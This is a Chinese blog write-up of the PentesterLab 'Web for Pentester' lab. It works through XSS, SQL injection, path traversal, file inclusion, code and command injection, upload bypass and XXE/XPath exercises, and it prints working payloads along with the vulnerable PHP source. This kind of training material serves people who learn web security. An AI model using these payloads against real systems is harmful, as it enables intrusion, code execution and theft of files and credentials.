0x00 Pentesterlab
又发现了一靶场,大多数都是相同的,但是也有之前一直没有学习的ldap
注入,而且安装时用的不是开发者提供的整机靶场,自己把源码拿出来了,搭建在了自己的服务器上,然后还原的ldap
环境及修改部分代码成功还原实验场景,对ldap
也有了更深的理解,虽然花了不少时间,linux
搞openladp
感觉好麻烦,特别是导数据,不过还是很值得的,学了不少东西。
此靶场准备用两篇博客解决战斗,一篇写ldap
注入,另外一篇就写其余所有的了。这次先用黑盒测试,不看源码。
整机下载地址:https://pentesterlab.com/exercises/web_for_pentester/course
百度云下载地址:https://pan.baidu.com/s/1W2RCRGXUt-R2AwPMvP95tQ 提取码: crfj
安装没什么好说的,装linux然后直接挂载光盘就可以了。
0x01 XSS
Example1
payload
为name=<script>alert(1)</script>
,不多说,都懂
Example2
用上一关的不行了,审计下前端。
好像<script>
没有了,可能被过滤,换个标签试试。
有了,name=<img src=x onerror=alert(1)>
为payload
白盒后,正确考点应该是name=<sCript>alert(1)</scrIpt>
,没有区分大小写。
Example3
name=<img src=x onerror=alert(1)>
为payload
,和上关一样,直接出效果。
白盒后,这一关区分大小写,双写绕过吧name=<scri<script>pt>alert(1)</scri</script>pt>
Example4
name=<img src=x onerror=alert(1)>
为payload
,和上关一样,直接出效果。
这关检测出来,直接die
,只能换标签绕过。
Example5
上一关的payload
不行了,测试了会,好像是alert
被检测了,想了半天,只想到把alert
换成prompt
或者confirm
来代替。
感觉这个不是考点,但是常见的绕过方式都用了,还是不行。感觉最靠谱的应该注是编码或者实体绕过了,但是用<script>
总是不成功,换了个标签就可以了,感觉有点小坑,但是不知道为什么不能<script>
成功!
参考payload
为
<img src=x onerror=%26%23%39%37%3b%26%23%31%30%38%3b%26%23%31%30%31%3b%26%23%31%31%34%3b%26%23%31%31%36%3b(1)>
Examlple6
感觉是没闭合,前端看一下
好像本来就有<script>
,这里直接闭合尝试。
有了,payload
为"; alert(1)</script>
Example7
和上一关好像一样
'; alert(1)</script>
,但是发现好像被实体编码了。
反正后面还有一个</script>
,改为'; alert(1)
还是不行,多了个'
,尝试注释掉
好了,payload
为'; alert(1)//
Example8
原样输出,肯定做了实体处理的,没救了,看源码
<?php
require_once '../header.php';
if (isset($_POST["name"])) {
echo "HELLO ".htmlentities($_POST["name"]);
}
?>
<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
Your name:<input type="text" name="name" />
<input type="submit" name="submit"/>
果然是做了实体编码,只是万万没想到表单的action
里面会有输出。。。
payload
为/";><img src=x onerror=alert(1)>
,太骚了。
Examlple9
有点厉害,居然是#
,直接审计。
看来是dom xss
,location.hash
拿锚点即#
后字符,substring(1)
拿从锚点后第二个字符开始的所有的字符
所以#hacker
拿到的是hacker
那直接构造#<scriipt>alert(1)</script>
理应就行了。
结果是由于url
当中会自动被转码,获取再输出到html
中就无法正常执行了。这里可以使用比较老的浏览器来完成测试。
或者去修改源码,也是可以的,加个unescape()
函数。
0x02 SQL Injection
Example1
root' union select 1,database(),3,4,5%23
,典型的字符型联合查询漏洞。
Example2
用上一关的payload
提示过滤了空格。
用/**/
代替了空格,root'/**/union/**/select/**/1,database(),3,4,5%23
Example3
用上一关,直接出了结果,不知道过滤了什么,看源码。
if (preg_match('/\s+/', $_GET["name"])) {
die("ERROR NO SPACE");
匹配的是任意的空白字符,大概指的是%0a
之类的字符,大概这些也可以%20 %09 %0a %0b %0c %0d %a0 %00 /**/ /*!*/
。
Example4
整形注入,id=2 union select 1,database(),3,4,5
。
Example5
上一关一样出效果,看源码。
if (!preg_match('/^[0-9]+/', $_GET["id"])) {
die("ERROR INTEGER REQUIRED");
}
检查非数字开头。。。这有鬼的用。
Example6
用上一关直接出效果,看源码
if (!preg_match('/[0-9]+$/', $_GET["id"])) {
die("ERROR INTEGER REQUIRED");
}
检查非数字结尾,我真是服了。。。
Example7
不管输入啥,都提示这个非数字请求,没思路去了,去看源码。。。刚刚还嫌弃菜,现在就搞不出来了。。。。。。
if (!preg_match('/^-?[0-9]+$/m', $_GET["id"])) {
die("ERROR INTEGER REQUIRED");
}
这个还真没看懂。。。卧槽,开头非得要加-
???啥意思。。。绕了半天也没绕过去,必需是-
开头,而且是数字
结尾,根本不可能
但是这个正则后面有m
的模式修饰符,采取多行匹配,只要有一行,能满足要求就可以了。
-2%0aunion select 1,database(),3,4,5
Example8
有个order
关键字,还列出了所有的数据(数据库里本来就没有id4
),应该是排序了。
把name
换成了age
,顺序果然改变了。
但是测试不出来结果。。放弃,看源码。
$sql = "SELECT * FROM users ORDER BY `";
$sql .= mysql_real_escape_string($_GET["order"])."`";
居然是重音符,是真的牛逼,万万没想到,学到了学到了。
有变化了,确实存在注入,order=age` desc%23
因为用了重音符,也没法用列数来进行排序,也没有报错注入,用盲注?
很久之前做sqlilabs
记得order by
和and
一起用的,有点讲究的,测试了下,果然没结果。。。
测试了半天,布尔不行,时间盲注可以,没理解。
而且这时间远远超出1
秒,应该是我的mysql
没有理解好,mmp
age` and if((ascii(substr(database(),1,1))>111),sleep(1),1 )–+
OK
,布尔盲注的姿势也搞定了
age` ^(select(select version()) regexp “^5”)–+
age` ^(select(select version()) regexp “^a”)–+
这个就是利用True(1)
和False(0)
和原数据异或来完成排序的差别,可以看下面这个
但是由于题目中还有mysql_real_escape_string
,所以双引号或者单引号无法正常使用,这里更换更简单的payload
id` ^(length(database())>0)%23
id` ^(length(database())=0)%23
真假的顺序不一样,这种用id
这种连续的会比较明显,age
差距有点大,是看不出来的。
Example9
和上题一样,只是没重音符闭合了。
id desc
有变化,存在注入
简单的还放在后面了。。。
0x03 Directory traversal
Example1
dirtrav/example1.php?file=hacker.png
我这个就直接文件包含了。。。
原靶场好像只是一个图片。
绝对路径利用不行
相对路径利用可以
估计源码里面写的相对路径,看下源码吧
$UploadDir = '../files/';
果然,不过这里不是包含,而是用的fread()
header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
header('Cache-Control: public');
header('Content-Disposition: inline; filename="' . basename($path) . '";');
header('Content-Transfer-Encoding: binary');
header('Content-Length: ' . filesize($path));
$handle = fopen($path, 'rb');
do {
$data = fread($handle, 8192);
if (strlen($data) == 0) {
break;
}
echo($data);
} while (true);
fclose($handle);
exit();
我记得是需要再加上ob_clean()
才能输出图像的。。好吧,试了下,加了也不行,可能是php
版本问题吧我只能这样安慰自己了。
Example2
没啥区别
Example3
图片没有后缀,但是还是读出来了,估计是拼接的,后面加个%00
就可以了
0x04 File Include
Example1
直接读
Example2
报错了,看到后面拼接了.php
,思路是一样的,截断就好了。
0x05 Code injection
多尝试了一会,发现是"
闭合的,而且在报错里面看到了用的是eval
构造";system('id');%23
Examp2
看着像注入。。。真的想不到会是代码执行。加'
单引号报错
测试了半天,没搞懂。看源码吧
class User{
public $id, $name, $age;
function __construct($id, $name, $age){
$this->name= $name;
$this->age = $age;
$this->id = $id;
}
}
require_once('../header.php');
require_once('../sqli/db.php');
$sql = "SELECT * FROM users ";
$order = $_GET["order"];
$result = mysql_query($sql);
if ($result) {
while ($row = mysql_fetch_assoc($result)) {
$users[] = new User($row['id'],$row['name'],$row['age']);
}
if (isset($order)) {
usort($users, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');'));
}
看了这个才知道怎么回事。。。有点坑,利用的是匿名函数的执行方式。
name,(system('id')));}%23
Example3
先放payload
,system('id')&pattern=/lamer/e&base=Hello lamer
这里考量的是preg_place
,在正则后面加e
就行了,期间在new
后面加了个#
出现了报错,才发现的。
Example4
直接有报错了,用的assert
但是试不出来了,看源码。
assert(trim("'".$_GET['name']."'"));
用了个trim
。。。。好吧,payload
为'.system("id");%23
0x06 Commands injection
Example1
127.0.0.1;id
Example2
有检查了。用%0a
换行绕过了。
看下源码吧
if (!(preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}.\d{1,3}$/m', $_GET['ip']))) {
die("Invalid IP address");
}
嗯,猜的没错
Example3
好像不管执行什么都是去ping 127.0.0.1
。。。
但是当我传入?
时,时间好像花了很久,然后看了下,有了个惊人发现。。。
居然有个重定向,而且?
花了10
秒钟来处理!!还是用burpsuite
来看看,是不是做了什么操作。
改下这里试试???
真有回显了。
好吧,想麻烦了,直接提交数据,然后拦截返回包就可以看到结果了,因为不管怎么样都会重定向的,验证过猜想是对的,最后再去看下源码好了。
<?php
if (!(preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}.\d{1,3}$/', $_GET['ip']))) {
header("Location: example3.php?ip=127.0.0.1");
}
system("ping -c 2 ".$_GET['ip']);
?>
好像和预期不一样阿。。。。
看来是我对header()
这里有点误解,应该是head()
下面的语句还是会被执行的,只是由于重向定了,所以看不到回显而已。
0x07 LDAP attacks
放着,回头再开一帖
0x08 File Upload
Example1
什么限制都没看到,直接传就行了。
Example2
这次有检测,黑名单绕过方式呗。
这里是linux
系统,能用的大概就是php3
,解析漏洞,包含图片马,.htaccess
。。。
改成php3
试试吧
我这里是有解析漏洞的,不晓得原靶场上有没有。
看下源码
$file = basename($_FILES['image']['name']);
if (preg_match('/\.php$/',$file)) {
DIE("NO PHP");
}
linux
大小写也可以的?我感觉应该是我apache
的配置问题,到不是解析解析的问题了,修改配置后果然不能解析。
0x09 XML attacks
Example1
卧槽了,感觉我的XML
又炸了,回头去测试了之前的xml
都是好的,昨天安装phpldapdmin
把php
更新了下,担心有影响,还把之前的测试了,之前的xxe
都没问题,但是这个题无回显。。。。应该是libxml
版本的问题
<!DOCTYPE name [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><name>%26xxe;</name>
我将原代码修改了一下,果然好了。
修改如下:
$xml=simplexml_load_string($_GET['xml'],'SimpleXMLElement',LIBXML_NOENT);
print_r((string)$xml);
Example2
第二关,只有输入hacker
才有回显。
加了单引号报错了,这里用的xpath
,嗯,才学不久,又练习一波。
通过遍历可以拿另外的用户名,hacker' or 1='1
想不到太多利用方式了,还是不熟悉,看源码吧
$x = "<data><users><user><name>hacker</name><message>Hello hacker</message><password>pentesterlab</password></user><user><name>admin</name><message>Hello admin</message><password>s3cr3tP4ssw0rd</password></user></users></data>";
$xml=simplexml_load_string($x);
$xpath = "users/user/name[.='".$_GET['name']."']/parent::*/message";
$res = ($xml->xpath($xpath));
while(list( ,$node) = each($res)) {
echo $node;
}
关键还是在$xpath = "users/user/name[.='".$_GET['name']."']/parent::*/message"
这句上
把上面的$x
整理下再看
<data>
<users>
<user>
<name>hacker</name>
<message>Hello hacker</message>
<password>pentesterlab</password>
</user>
<user>
<name>admin</name>
<message>Hello admin</message>
<password>s3cr3tP4ssw0rd</password>
</user>
</users>
</data>
这样就清楚多了,构造语句hacker']/parent::*/password%00
,通过截断把后面的参数取消,最后的语句就变成了"users/user/name[.='hacker']/parent::*/password"
拿到了password
,同理还可以拿到admin
的密码,admin' ]/parent::*/password%00
同时很奇怪,为什么不输出用户名了,去查了下list()
和each()
,感觉应该也要输出的阿,这是疑点1
。另外疑点2
,我这是审计后的,如果我没有看代码,那怎么打印后面的参数呢?其实感觉就是要靠猜,盲注,回头再开一帖总结
0x10 总结
可能是基础比较差,每次做靶场都有新的体会和经验,继续积累。
主要还是ldap
和这个xpath
让我印象深刻不少,order by
的注入还有一些绕过也让我到了。